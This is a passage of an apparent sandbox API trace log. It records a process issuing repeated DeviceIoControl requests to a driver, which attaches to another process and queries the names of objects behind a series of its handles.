PriorityBoost=0) [0131.463] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.463] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.463] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.463] PsAcquireProcessExitSynchronization () returned 0x0 [0131.463] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.463] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001055b00, HandleInformation=0x0) returned 0x0 [0131.463] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.463] PsReleaseProcessExitSynchronization () returned 0x2 [0131.463] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.463] ObQueryNameString (in: Object=0xfffff8a001055b00, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.463] ObfDereferenceObject (Object=0xfffff8a001055b00) returned 0x1 [0131.463] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.463] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.463] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.463] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.463] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.463] PsAcquireProcessExitSynchronization () returned 0x0 [0131.463] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.463] ObReferenceObjectByHandle (in: Handle=0x1a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001c067e0, HandleInformation=0x0) returned 0x0 [0131.463] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.464] PsReleaseProcessExitSynchronization () returned 0x2 [0131.464] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.464] ObQueryNameString (in: Object=0xfffff8a001c067e0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.464] ObfDereferenceObject (Object=0xfffff8a001c067e0) returned 0x1 [0131.464] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.464] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.464] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.464] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.464] PsAcquireProcessExitSynchronization () returned 0x0 [0131.464] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.464] ObReferenceObjectByHandle (in: Handle=0x1bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00175baa0, HandleInformation=0x0) returned 0x0 [0131.464] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.464] PsReleaseProcessExitSynchronization () returned 0x2 [0131.464] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.464] ObQueryNameString (in: Object=0xfffff8a00175baa0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000550) returned 0x0 [0131.464] ObfDereferenceObject (Object=0xfffff8a00175baa0) returned 0x1 [0131.464] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.464] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.464] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.464] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.464] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.464] PsAcquireProcessExitSynchronization () returned 0x0 [0131.464] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.464] ObReferenceObjectByHandle (in: Handle=0x274, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a004a176c0, HandleInformation=0x0) returned 0x0 [0131.464] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.464] PsReleaseProcessExitSynchronization () returned 0x2 [0131.464] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.464] ObQueryNameString (in: Object=0xfffff8a004a176c0, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.464] ObfDereferenceObject (Object=0xfffff8a004a176c0) returned 0x1 [0131.464] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.464] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.464] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.465] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.465] PsAcquireProcessExitSynchronization () returned 0x0 [0131.465] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.465] ObReferenceObjectByHandle (in: Handle=0x278, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00896e170, HandleInformation=0x0) returned 0x0 [0131.465] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.465] PsReleaseProcessExitSynchronization () returned 0x2 [0131.465] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.465] ObQueryNameString (in: Object=0xfffff8a00896e170, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005000550) returned 0x0 [0131.465] ObfDereferenceObject (Object=0xfffff8a00896e170) returned 0x1 [0131.465] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.465] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.465] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.465] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.465] PsAcquireProcessExitSynchronization () returned 0x0 [0131.465] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.465] ObReferenceObjectByHandle (in: Handle=0x330, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00152d660, HandleInformation=0x0) returned 0x0 [0131.465] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.465] PsReleaseProcessExitSynchronization () returned 0x2 [0131.465] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.465] ObQueryNameString (in: Object=0xfffff8a00152d660, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.465] ObfDereferenceObject (Object=0xfffff8a00152d660) returned 0x1 [0131.465] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.465] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.465] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.465] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.465] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.465] PsAcquireProcessExitSynchronization () returned 0x0 [0131.465] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.465] ObReferenceObjectByHandle (in: Handle=0x33c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001537680, HandleInformation=0x0) returned 0x0 [0131.465] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.465] PsReleaseProcessExitSynchronization () returned 0x2 [0131.465] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.466] ObQueryNameString (in: Object=0xfffff8a001537680, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.466] ObfDereferenceObject (Object=0xfffff8a001537680) returned 0x1 [0131.466] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.466] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.466] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.466] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.466] PsAcquireProcessExitSynchronization () returned 0x0 [0131.466] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.466] ObReferenceObjectByHandle (in: Handle=0x388, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016495d0, HandleInformation=0x0) returned 0x0 [0131.466] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.466] PsReleaseProcessExitSynchronization () returned 0x2 [0131.466] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.466] ObQueryNameString (in: Object=0xfffff8a0016495d0, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.466] ObfDereferenceObject (Object=0xfffff8a0016495d0) returned 0x1 [0131.466] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.466] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.466] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.466] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.466] PsAcquireProcessExitSynchronization () returned 0x0 [0131.466] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.466] ObReferenceObjectByHandle (in: Handle=0x3a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00174f060, HandleInformation=0x0) returned 0x0 [0131.466] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.466] PsReleaseProcessExitSynchronization () returned 0x2 [0131.466] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.466] ObQueryNameString (in: Object=0xfffff8a00174f060, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.466] ObfDereferenceObject (Object=0xfffff8a00174f060) returned 0x1 [0131.466] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.466] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.466] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.466] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.467] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.467] PsAcquireProcessExitSynchronization () returned 0x0 [0131.467] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.467] ObReferenceObjectByHandle (in: Handle=0x3c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a000009940, HandleInformation=0x0) returned 0x0 [0131.467] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.467] PsReleaseProcessExitSynchronization () returned 0x2 [0131.467] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.467] ObQueryNameString (in: Object=0xfffff8a000009940, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.467] ObfDereferenceObject (Object=0xfffff8a000009940) returned 0x1 [0131.467] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.467] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.467] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.467] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.467] PsAcquireProcessExitSynchronization () returned 0x0 [0131.467] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.467] ObReferenceObjectByHandle (in: Handle=0x43c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0016bef10, HandleInformation=0x0) returned 0x0 [0131.467] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.467] PsReleaseProcessExitSynchronization () returned 0x2 [0131.467] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.467] ObQueryNameString (in: Object=0xfffff8a0016bef10, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.467] ObfDereferenceObject (Object=0xfffff8a0016bef10) returned 0x1 [0131.467] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.467] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.467] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.467] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.467] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.467] PsAcquireProcessExitSynchronization () returned 0x0 [0131.467] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.467] ObReferenceObjectByHandle (in: Handle=0x44c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0017fee90, HandleInformation=0x0) returned 0x0 [0131.467] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.467] PsReleaseProcessExitSynchronization () returned 0x2 [0131.468] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.468] ObQueryNameString (in: Object=0xfffff8a0017fee90, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.468] ObfDereferenceObject (Object=0xfffff8a0017fee90) returned 0x1 [0131.468] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.468] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.468] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.468] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.468] PsAcquireProcessExitSynchronization () returned 0x0 [0131.468] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.468] ObReferenceObjectByHandle (in: Handle=0x48c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a001940330, HandleInformation=0x0) returned 0x0 [0131.468] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.468] PsReleaseProcessExitSynchronization () returned 0x2 [0131.468] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.468] ObQueryNameString (in: Object=0xfffff8a001940330, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.468] ObfDereferenceObject (Object=0xfffff8a001940330) returned 0x1 [0131.468] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.468] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.468] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.468] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.468] PsAcquireProcessExitSynchronization () returned 0x0 [0131.468] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.468] ObReferenceObjectByHandle (in: Handle=0x49c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a0019cc320, HandleInformation=0x0) returned 0x0 [0131.468] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.468] PsReleaseProcessExitSynchronization () returned 0x2 [0131.468] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.468] ObQueryNameString (in: Object=0xfffff8a0019cc320, ObjectNameInfo=0xfffffa80037d67c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80037d67c4, ReturnLength=0xfffff88005000550) returned 0x0 [0131.468] ObfDereferenceObject (Object=0xfffff8a0019cc320) returned 0x1 [0131.468] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.468] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.468] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.468] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.468] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.468] PsAcquireProcessExitSynchronization () returned 0x0 [0131.469] KeStackAttachProcess (in: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002ef9060, ApcState=0xfffff880050005d0) [0131.469] ObReferenceObjectByHandle (in: Handle=0x4b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00196fcd0, HandleInformation=0x0) returned 0x0 [0131.469] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0131.469] PsReleaseProcessExitSynchronization () returned 0x2 [0131.469] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0131.469] ObQueryNameString (in: Object=0xfffff8a00196fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0131.469] ObfDereferenceObject (Object=0xfffff8a00196fcd0) returned 0x1 [0131.469] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0131.469] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0131.469] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0131.469] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0131.469] PsLookupProcessByProcessId (in: ProcessId=0x148, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0131.469] PsAcquireProcessExitSynchronization () returned 0x0 [0131.469] KeStackAttachProcess (in: 